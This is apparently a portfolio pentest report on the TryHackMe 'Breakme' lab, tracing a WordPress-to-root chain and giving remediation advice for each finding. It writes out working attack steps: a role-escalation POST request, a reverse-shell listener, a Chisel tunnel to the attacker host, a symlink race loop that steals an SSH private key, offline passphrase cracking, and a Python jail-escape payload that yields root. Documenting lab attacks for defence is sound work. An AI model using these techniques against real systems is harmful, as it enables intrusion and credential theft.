

PENETRATION TEST & VULNERABILITY ASSESSMENT REPORT

Target Environment: "Breakme" — Internal Linux / WordPress Web Server

Black-Box External → Full Chain Compromise (Web App to Root)

Lab Platform: TryHackMe | Room: Breakme

Prepared For: Client / Portfolio Demonstration Engagement

Prepared By: Offensive Security Assessment Team

Lab Platform: TryHackMe (thm.io) — Room Name: "Breakme"

Engagement Type: Authorized Penetration Test — TryHackMe Lab / Controlled Environment

Assessment Window: September 2, 2026 – September 3, 2026

Report Date: September 3, 2026

Report Classification: CONFIDENTIAL — For Intended Recipient Only

Confidentiality Notice: This document contains sensitive security information, including exploitation details, credentials-in-testing, and internal host data. It is intended solely for the named recipient and must not be redistributed without written authorization.

1. Executive Summary

This report documents a full black-box-to-root penetration test and vulnerability assessment performed against "Breakme," a TryHackMe lab room hosting a Debian-based Linux host running an Apache/WordPress web application. The objective of the engagement was to identify exploitable weaknesses across the network, web application, and host-operating-system layers, and to determine how far an attacker could realistically escalate access starting from an unauthenticated position on the network.

The assessment identified a complete attack chain from initial reconnaissance through to full root-level compromise of the target host. Key contributing weaknesses included an outdated WordPress core installation, a severely outdated and vulnerable third-party plugin (WP Data Access), a broken access-control flaw in the WordPress profile-update endpoint that allowed a low-privileged user to self-promote to Administrator, an internal service left listening on localhost that was reachable via port-forwarding after initial foothold, a Time-of-Check-to-Time-of-Use (TOCTOU) race condition in a custom SUID/privileged file-reading utility that allowed theft of an SSH private key, a weak dictionary-guessable passphrase protecting that key that was cracked offline in seconds, and a dangerous NOPASSWD sudo rule permitting execution of a custom Python "jail" script that could be broken out of to obtain a root shell.

Overall Risk Rating: CRITICAL. An external attacker with no prior credentials was able to fully compromise the host, read all user and root-level data, and establish persistent shell access. Immediate remediation is recommended for all Critical and High findings before this system (or any system sharing this configuration pattern) is exposed to a production or internet-facing environment.

1.1 Engagement Snapshot

#	Finding	Severity	CVSS-Style Risk
1	Outdated WordPress Core (6.4.3) with Multiple Known CVEs	High	7.5 (High)
2	Vulnerable Plugin: WP Data Access v5.3.5 (Unauthenticated SQLi, XSS, Priv-Esc chain)	Critical	9.8 (Critical)
3	Broken Access Control — Role Self-Escalation via profile.php Mass Assignment	Critical	8.8 (High)
4	Unauthenticated / Low-Privilege Account Enumeration	Medium	5.3 (Medium)
5	Remote Code Execution as www-data (Theme/Plugin Editor Abuse)	Critical	9.8 (Critical)
6	Internal Service Exposure & Pivoting via Port Forwarding (Chisel)	Medium	6.5 (Medium)
7	TOCTOU Race Condition in Privileged File-Read Utility → SSH Key Theft	Critical	8.6 (High)
8	Weak SSH Private Key Passphrase — Cracked via Offline Dictionary Attack	High	7.5 (High)
9	Insecure sudo Rule — Python "Jail" Sandbox Escape to Root	Critical	9.9 (Critical)
10	Verbose Directory Listing / Predictable Web Paths (gobuster)	Low	3.1 (Low)

#	Finding	Severity	CVSS-Style Risk
11	XML-RPC Enabled (Brute-Force / Amplification Surface)	Low	3.7 (Low)

2. Scope & Objectives

2.1 Scope of Work

Lab Platform: TryHackMe (thm.io) — Room Name: "Breakme"

Target Host: 10.49.178.243 (TryHackMe-provisioned lab network)

Tester Attack Host: 192.168.131.104 (TryHackMe AttackBox / connected VPN host)

In-Scope Services: TCP/22 (SSH), TCP/80 (HTTP / WordPress), associated internal services discovered during testing

Testing Style: Black-box external, escalating to authenticated / internal testing post-foothold

Rules of Engagement: Testing performed against a TryHackMe-hosted training lab under TryHackMe's terms of service, within an isolated environment with no production data or third parties affected

2.2 Objectives

- Identify externally exploitable vulnerabilities in network services and the web application.
- Determine whether an attacker could gain an initial foothold on the host.
- Assess the potential for privilege escalation from a low-privileged shell to full root access.
- Evaluate the real-world business impact of a successful compromise (data exposure, persistence, lateral movement).
- Provide clear, actionable remediation guidance prioritized by risk.

3. Methodology

Testing followed a standard black-box penetration testing methodology consistent with industry frameworks such as PTES and the OWASP Testing Guide, executed in five phases:

- Reconnaissance & Enumeration — network/service discovery, web content discovery, CMS and plugin fingerprinting.
- Vulnerability Analysis — mapping discovered software versions and endpoints to known CVEs and testing for logic flaws.
- Exploitation — gaining an initial foothold through validated, low-risk exploitation techniques.
- Post-Exploitation & Privilege Escalation — enumerating the local host, pivoting to internal-only services, and escalating privileges to root.
- Reporting — consolidating evidence, risk-rating each finding, and producing remediation guidance.

3.1 Tools Used

- Nmap — network and service discovery
- Gobuster (dirb wordlist) — web content / directory discovery
- WPScan — WordPress core, theme, and plugin vulnerability enumeration; user enumeration

- Burp Suite (manual HTTP requests) — profile-update / mass-assignment testing
- Netcat — reverse shell listener
- Chisel — TCP tunneling / port forwarding for pivoting to internal-only services
- John the Ripper — offline credential/key-passphrase cracking
- Custom Bash race-condition harness (symlink swap / TOCTOU exploitation)
- Python — sandbox escape / jail-breakout payload construction

4. Attack Chain Overview

The diagram below summarizes the full path from unauthenticated network access to root compromise. Each stage is detailed as an individual finding in Section 5.

- Stage 1 — Network & web reconnaissance identifies SSH, Apache, and a WordPress install under /wordpress/.
- Stage 2 — WPScan identifies an outdated WordPress core and the vulnerable WP Data Access plugin; user enumeration reveals accounts “admin” and “bob”.
- Stage 3 — A broken-access-control flaw in the profile-update endpoint is used to escalate the “bob” account to the Administrator role.
- Stage 4 — Administrator access is leveraged to execute code on the server, yielding a reverse shell as www-data.
- Stage 5 — Local enumeration reveals a service bound to 127.0.0.1:9999 owned by user “john”; Chisel is uploaded to pivot into that internal-only service.
- Stage 6 — Access as “john” is obtained; a custom privileged file-reading binary is found to be vulnerable to a TOCTOU race condition.
- Stage 7 — The race condition is exploited to read user “youcef”’s passphrase-protected SSH private key.
- Stage 8 — The key’s passphrase is cracked offline in seconds with ssh2john and John the Ripper against rockyou.txt, enabling lateral movement via SSH as “youcef.”
- Stage 9 — As “youcef,” a permissive NOPASSWD sudo rule allows execution of a custom Python “jail” script; the sandbox is broken out of using Python builtins obfuscation, yielding a root shell and both flag files.

5. Detailed Findings

5.1 Network & Service Reconnaissance

Severity: INFO

An Nmap service/version scan against the target identified two open TCP ports: SSH (OpenSSH 8.4p1 on Debian) and HTTP (Apache 2.4.56 on Debian), the latter serving the default Apache landing page rather than the real application at the root path.

```
$ nmap -sC -sV 10.49.178.243
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
```

Impact: Service banners disclose exact software versions, materially reducing attacker effort to identify applicable known vulnerabilities (see 5.2 and 5.3).

Recommendation: Suppress or genericize version banners where feasible (ServerTokens Prod / ServerSignature Off for Apache), and ensure patch levels are tracked against CVE feeds regardless of banner visibility.

5.2 Web Content Discovery & Verbose Directory Structure

Severity: **LOW**

Directory brute-forcing with Gobuster against the web root and the discovered /wordpress/ path revealed the true application path, the WordPress admin/content/includes directories, and confirmed xmlrpc.php was reachable.

```
$ gobuster dir -u http://10.49.178.243/ -w /usr/share/wordlists/dirb/common.txt
/wordpress      (Status: 301) --> http://10.49.178.243/wordpress/
/manual          (Status: 301)

$ gobuster dir -u http://10.49.178.243/wordpress/ -w
/usr/share/wordlists/dirb/common.txt
/wp-admin        (Status: 301)
/wp-content      (Status: 301)
/wp-includes     (Status: 301)
/xmlrpc.php      (Status: 405)
```

Recommendation: Remove unused paths (e.g., the Apache /manual documentation tree), disable XML-RPC if not required (see 5.9), and rely on authentication/authorization rather than obscurity — but avoid unnecessarily exposing internal structure to unauthenticated users.

5.3 Outdated WordPress Core & Multiple Known CVEs

Severity: **HIGH**

WPScan fingerprinted the target as WordPress 6.4.3, a release with numerous publicly documented vulnerabilities affecting versions prior to current patch releases, including stored and reflected Cross-Site Scripting, sensitive data disclosure, SSRF, and an Author-role Remote Code Execution vector via crafted file upload.

```
[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30)
[!] 14 vulnerabilities identified, including:
- WP < 6.5.2 Unauthenticated Stored XSS
- WP < 7.0.3 Unauthenticated Blind SSRF (CVE referenced in vendor advisory)
- WP < 7.0.4 Author+ Remote Code Execution via PDF Upload (CVE-2026-65640)
```

Impact: An unpatched CMS core significantly widens the attack surface and, combined with the account compromise in 5.5, contributed directly to the ability to execute code on the server.

Recommendation: Apply WordPress core security updates promptly, enable automatic minor-version updates, and subscribe to a vulnerability feed (e.g., WPScan API, CVE/NVD) to track newly disclosed core issues.

5.4 Critical Vulnerabilities in WP Data Access Plugin (v5.3.5)

Severity: **CRITICAL**

The installed WP Data Access plugin (identified via its exposed asset path and readme Stable Tag) was found to be running version 5.3.5 against a current release baseline of 5.5.82 — dozens of versions and roughly three years of security fixes behind. WPScan's vulnerability database returned 14 associated CVEs affecting this version line, including multiple unauthenticated SQL injection issues, a subscriber-to-elevated-privilege escalation flaw, unauthenticated stored XSS, and an unauthenticated Insecure Direct Object Reference exposing arbitrary data access.

```
$ curl -s http://10.49.178.243/wordpress/ | grep -oiE 'wp-content/plugins/wp-data-access[^"'\` ]*'
wp-content/plugins/wp-data-access/assets/css/wpda_public.css?ver=5.3.5
wp-content/plugins/wp-data-access/assets/js/wpda_rest_api.js?ver=5.3.5

[!] WP Data Access < 5.5.23   Unauthenticated SQL Injection      (CVE-2024-12428)
[!] WP Data Access < 5.3.8    Subscriber+ Privilege Escalation (CVE-2023-1874)
[!] WP Data Access < 5.5.69   Unauthenticated IDOR to Data Access (CVE-2026-3235)
```

Impact: Any one of the unauthenticated SQL injection vulnerabilities in this version could allow direct extraction of the WordPress database (including password hashes) without any credentials at all — a viable alternative path to the compromise achieved via 5.5 below.

Recommendation: Update the plugin immediately to the latest release, remove it if it is not business-critical, and adopt a policy of tracking and patching third-party plugins on the same cadence as core WordPress.

5.5 Broken Access Control — Role Self-Escalation via Profile Update (Mass Assignment)

Severity: **CRITICAL**

The wp-admin profile-update endpoint (profile.php) was found to accept a wpda_role[] parameter in the POST body alongside standard profile fields. Testing as the low-privileged “bob” account showed the server-side handler applied this parameter without verifying that the requesting user was authorized to change roles, effectively granting the requester the ability to promote their own account to Administrator.

```
POST /wordpress/wp-admin/profile.php HTTP/1.1
Cookie: wordpress_logged_in_...=bob|...

_wpnonce=77fcbcb7412&user_id=2&wpda_role[]=administrator&action=update&submit=Update+Profile

HTTP/1.1 302 Found
Location: http://10.49.178.243/wordpress/wp-admin/profile.php?updated=1
```

Impact: This is a critical broken-access-control / mass-assignment vulnerability. Any authenticated user of any role — including the lowest-privileged Subscriber — could escalate to full Administrator, granting complete control of site content, plugins, themes, and (as demonstrated in 5.6) arbitrary code execution on the underlying server.

Recommendation: The role-update code path must explicitly verify `current_user_can('promote_users')` (or the equivalent capability check) before processing any role-changing parameter, regardless of which plugin or custom code introduces that parameter. All user-supplied fields that map to privileged object properties should be allow-listed rather than blindly assigned.

5.6 Remote Code Execution as www-data via Administrative Access

Severity: **CRITICAL**

With Administrator-level access obtained in 5.5, the built-in WordPress theme/plugin file editor (a standard Administrator capability) was used to place executable PHP code on the server, which was then invoked to establish an interactive reverse shell back to the attacking host.

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.131.104] from (UNKNOWN) [10.49.178.243] 42074
www-data@Breakme:/var/www/html/wordpress/wp-admin$
```

Impact: Full command execution in the context of the web server user (www-data), providing a foothold for local enumeration, credential hunting, and further privilege escalation.

Recommendation: Disable the theme and plugin file editors in wp-config.php (DISALLOW_FILE_EDIT / DISALLOW_FILE_MODS), enforce the principle of least privilege for CMS accounts, and apply filesystem permissions that prevent the web server process from writing executable files into the web root.

5.7 Internal Service Exposure & Pivoting (Chisel Port Forward)

Severity: **MEDIUM**

Post-exploitation enumeration as www-data revealed a PHP development server bound to 127.0.0.1:9999 and owned by a different local user, “john.” Because this service was bound to loopback only, it was not directly reachable from outside the host. The Chisel tunneling utility was uploaded and used to forward the internal port back to the attacker-controlled host, exposing the internal-only service for external interaction.

```
www-data@Breakme:/home/john$ ps aux | grep -i john
john    518    ...  /usr/bin/php -S 127.0.0.1:9999

www-data@Breakme:/tmp$ ./chisel client 192.168.131.104:8001 R:9999:127.0.0.1:9999
client: Connecting to ws://192.168.131.104:8001
client: Connected (Latency 60ms)
```

Impact: Loopback-bound services are frequently assumed “safe” from external exposure, but any code-execution foothold on the host — as achieved here — can trivially re-expose them via tunneling tools already present or easily staged on the box. This service ultimately provided the path to compromising the “john” account.

Recommendation: Do not rely on network binding alone as a security boundary once any code execution is possible on the host. Harden the internal PHP service itself (authentication, least-privilege), monitor for unexpected outbound tunneling tool execution, and restrict outbound connections from web-facing hosts via egress filtering.

5.8 TOCTOU Race Condition in Privileged File-Read Utility — SSH Private Key Theft

Severity: **CRITICAL**

A custom binary (readfile), runnable with elevated privilege on behalf of user “john,” was designed to read only files located within a restricted directory. Analysis showed it performed its permission/path check and its actual file read as two separate steps, creating a classic Time-of-Check-to-Time-of-Use (TOCTOU) race condition. By rapidly and repeatedly swapping a permitted target file for a symbolic link pointing at another user's SSH private key in the tiny window between the check and the read, the restriction was bypassed and the private key contents were captured.

```
# Exploitation loop (abridged):
while true; do
  ln -sf /home/youcef/.ssh/id_rsa /home/john/dummyfile # swap in symlink to
target key
  sleep 0.01
  rm /home/john/dummyfile; touch /home/john/dummyfile # swap back to a benign
file
  sleep 0.01
done &

while true; do
  /home/youcef/readfile /home/john/dummyfile # racing read attempt
  [[ "$output" == *BEGIN\ OPENSSH\ PRIVATE\ KEY* ]] && break
done
```

Impact: The race condition allowed disclosure of another user's (“youcef”) private SSH key, which was then used to authenticate directly over SSH — a full lateral-movement and privilege-escalation primitive stemming from an insecure privileged utility.

Recommendation: Eliminate the check-then-use pattern; perform path validation and the file read atomically (e.g., open the file descriptor first with `O_NOFOLLOW`, then validate the resolved/canonical path via that descriptor with `fstat/realpath` before reading). Avoid granting elevated read privileges to any custom utility unless it has been formally reviewed for TOCTOU and symlink-following issues, and never store or accept symlinks inside directories that privileged tooling reads from.

5.9 Weak SSH Private Key Passphrase — Cracked via Offline Dictionary Attack

Severity: **HIGH**

The SSH private key for user “youcef”, obtained via the TOCTOU race condition in Finding 5.8, was itself passphrase-protected. Rather than being an effective control, the passphrase was found to be a weak, dictionary-guessable value. The key was converted to a crackable hash format with `ssh2john` and cracked offline in under 15 seconds against the common `rockyou.txt` wordlist, recovering the passphrase “a123456.” The decrypted key was then used to authenticate directly over SSH as “youcef,” confirming full validity of the credential.

```
$ ssh2john id_rsa > id_rsa.hash
$ john --wordlist=/home/kali/rockyou.txt id_rsa.hash
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
a123456          (id_rsa)
lg 0:00:00:14 DONE (2026-09-03 03:33) 0.06896g/s 48.55p/s 48.55c/s

$ ssh -i id_rsa youcef@10.49.178.243
Enter passphrase for key 'id_rsa':
Last login: Thu Mar 21 07:55:16 2024 from 192.168.56.1
youcef@Breakme:~$
```

Impact: Even though the private key file itself was only obtained through a separate flaw (5.8), a strong, high-entropy passphrase would have significantly slowed or entirely prevented an attacker from using the stolen key, buying critical time for detection and response. A dictionary-word-plus-digits passphrase of this style offered essentially no meaningful protection once the key file was in an attacker's hands, and was recovered in seconds using freely available tooling and wordlists.

Recommendation: Enforce strong, high-entropy passphrases (or, preferably, hardware-backed keys / FIDO2-based SSH keys) for any private key protecting privileged accounts. Rotate the affected key pair immediately, audit for reuse of this passphrase or similar patterns across other systems and accounts, and consider deploying an SSH certificate authority or centralized key-management solution rather than relying on long-lived, user-managed key files with self-chosen passphrases.

5.10 Insecure sudo Rule — Python Sandbox (“Jail”) Escape to Root

Severity: CRITICAL

The compromised user “youcef” was permitted via sudo to run a custom Python script (/root/jail.py) intended to act as a restricted “input sandbox.” A sudo -l check confirmed the rule was configured with NOPASSWD, meaning no re-authentication was even required to invoke it. The sandbox attempted to filter dangerous input but could be bypassed using Python’s dynamic attribute-lookup mechanisms (__builtins__ dictionary access combined with case-folding tricks) to reach the os.system function indirectly, without ever typing the literal blocked keywords the filter was checking for.

```
youcef@Breakme:~$ sudo -l
User youcef may run the following commands on breakme:
    (root) NOPASSWD: /usr/bin/python3 /root/jail.py

youcef@Breakme:~$ sudo /usr/bin/python3 /root/jail.py
Welcome to Python jail
>> print(__builtins__.__dict__['__IMPORT__'.casefold()]
('OS'.casefold()).__dict__['SYSTEM'.casefold()]['BASH'.casefold()])
root@Breakme:/home/youcef#
```

Impact: Complete compromise of the host. The sudo rule effectively granted unrestricted root command execution to any user able to reach this script, despite the intent of sandboxing input. Both the low-privilege user flag and the root flag were retrieved, confirming end-to-end compromise.

Recommendation: Never grant sudo access to interpreters or custom scripts that evaluate dynamic/attacker-influenced input, regardless of intended filtering — sandboxing a general-purpose language interpreter through a denylist is not a reliable security boundary. Avoid NOPASSWD entries for any rule that grants root-equivalent capability. If a restricted execution environment is required, use a purpose-built, audited sandboxing technology (containers with dropped capabilities, seccomp-bpf, gVisor, or a language-level restricted execution engine with an allow-list) and apply the principle of least privilege to the sudoers configuration.

5.11 Account & User Enumeration

Severity: MEDIUM

WPScan’s passive and active enumeration techniques (author archive pattern matching, the WP-JSON REST users endpoint, and login error-message differences) reliably disclosed two valid WordPress usernames, “admin” and “bob,” without any authentication.

```
[i] User(s) Identified:
[+] admin (Rss Generator / Wp Json Api / Author Id Brute Forcing / Login Error
Messages)
[+] bob (Author Id Brute Forcing / Login Error Messages)
```

Impact: Valid username disclosure materially assists credential-stuffing and brute-force attacks, and directly enabled the account takeover in 5.5 once combined with the mass-assignment flaw.

Recommendation: Disable the WP-JSON users endpoint for unauthenticated requests, use generic login error messages, disable author archives or rewrite them to avoid ID-based enumeration, and enforce account lockout / rate limiting on wp-login.php.

5.12 XML-RPC Enabled

Severity: LOW

The xmlrpc.php endpoint was confirmed reachable, which historically has been leveraged for authentication brute-forcing (including amplified multi-credential attempts via system.multicall) and DDoS pingback abuse.

Recommendation: Disable XML-RPC entirely if not required by any integration (mobile apps, Jetpack, etc.), or restrict access to trusted IP ranges via web-server configuration.

6. Risk Summary & Business Impact

Taken individually, several findings in this report (verbose directory listing, XML-RPC exposure, username enumeration) represent modest risk. However, the engagement demonstrates how a chain of moderate-and-severe issues — an outdated plugin, a broken-access-control bug, an unsafe privileged utility, and an overly permissive sudo rule — combine into a complete, unauthenticated-to-root compromise path. This is the most realistic and damaging way real-world attackers operate: they rarely need a single "silver bullet" vulnerability when several medium-severity issues can be chained together.

If this configuration pattern were present on an internet-facing production system, the business impact would include full loss of confidentiality, integrity, and availability of the web application and host: theft of customer or business data, defacement, use of the server as a pivot point into other internal systems, and potential regulatory/compliance exposure depending on the data processed.

7. Recommendations Summary

7.1 Immediate (Critical / High Priority)

- Patch or remove the WP Data Access plugin; update WordPress core to the latest stable release.
- Fix the broken access-control flaw in the profile-update flow to require an explicit capability check before any role change.
- Disable the WordPress theme/plugin file editor and restrict file-write access from the web server process.
- Rewrite the privileged readfile utility to remove the TOCTOU window (validate-then-read on the same file descriptor, O_NOFOLLOW).
- Remove the sudo rule permitting execution of jail.py (or any interpreter) as root; replace with a properly sandboxed solution or remove entirely.

7.2 Short-Term (Medium Priority)

- Disable or restrict XML-RPC; disable REST API user enumeration; use generic authentication error messages.
- Apply egress filtering to prevent unauthorized outbound tunneling (Chisel and similar tools) from web-facing hosts.
- Harden the internal PHP development service (authentication, principle of least privilege, remove from production entirely if it is a dev artifact).

7.3 Long-Term (Process & Hygiene)

- Establish a recurring patch-management cadence for WordPress core and all installed plugins/themes.
- Adopt a formal secure-coding review process for any custom privileged utilities or sudo-enabled scripts before deployment.
- Implement centralized logging/alerting for privilege escalation indicators (new sudo usage, unexpected outbound tunnels, role changes).
- Conduct periodic (e.g., annual or per-major-release) penetration testing and vulnerability assessments to catch regression of these issues.

8. Conclusion

This engagement successfully demonstrated a complete compromise of the target host, progressing from unauthenticated network reconnaissance to full root access, by chaining a vulnerable WordPress plugin, a broken-access-control role-escalation bug, an insecure privileged file-reading utility, and a misconfigured sudo rule. Every finding in this report is remediable with established, well-understood best practices. Addressing the Critical-rated findings in Section 5 should be treated as the top priority, followed by the broader hardening and process recommendations in Section 7.

This report and the accompanying evidence are provided to support remediation planning and to serve as a record of the assessment methodology and findings for the intended recipient.

Note: This engagement was conducted against the “Breakme” room on TryHackMe (thm.io), a legal, purpose-built training platform for practicing offensive security skills. This report is presented as a portfolio / methodology demonstration and reflects the tester's own analysis, findings, and remediation guidance rather than an assessment of a live production system.

Appendix A — Evidence Index

- nmap.txt — network/service scan output
- gobuster.txt / gobusterWP.txt — web content discovery output
- WPscan.txt / bobPass.txt / userenumeration.txt — WordPress core, plugin, and user enumeration output
- restapi.txt / api.txt — WP Data Access plugin asset/version disclosure
- admin.txt — captured HTTP request/response demonstrating the role self-escalation (mass assignment)
- reverseShell.txt — initial foothold as www-data
- john.txt / johnshell.txt — internal service discovery and pivot to the “john” account
- race.sh / race2.sh / readfile / user1found.txt — TOCTOU race-condition exploitation of the privileged file reader
- id_rsa / id_rsa.hash / passphrase.txt — stolen SSH private key, ssh2john hash, and John the Ripper offline passphrase-cracking output
- youcefshell.txt — authenticated SSH session as “youcef” using the cracked private key
- sudomissconfigure.txt — sudo -l output confirming the insecure NOPASSWD jail.py rule
- user2found.txt / rootshell.txt / rootflagfound.txt / breakme.lock — sudo jail-escape and root-level proof of compromise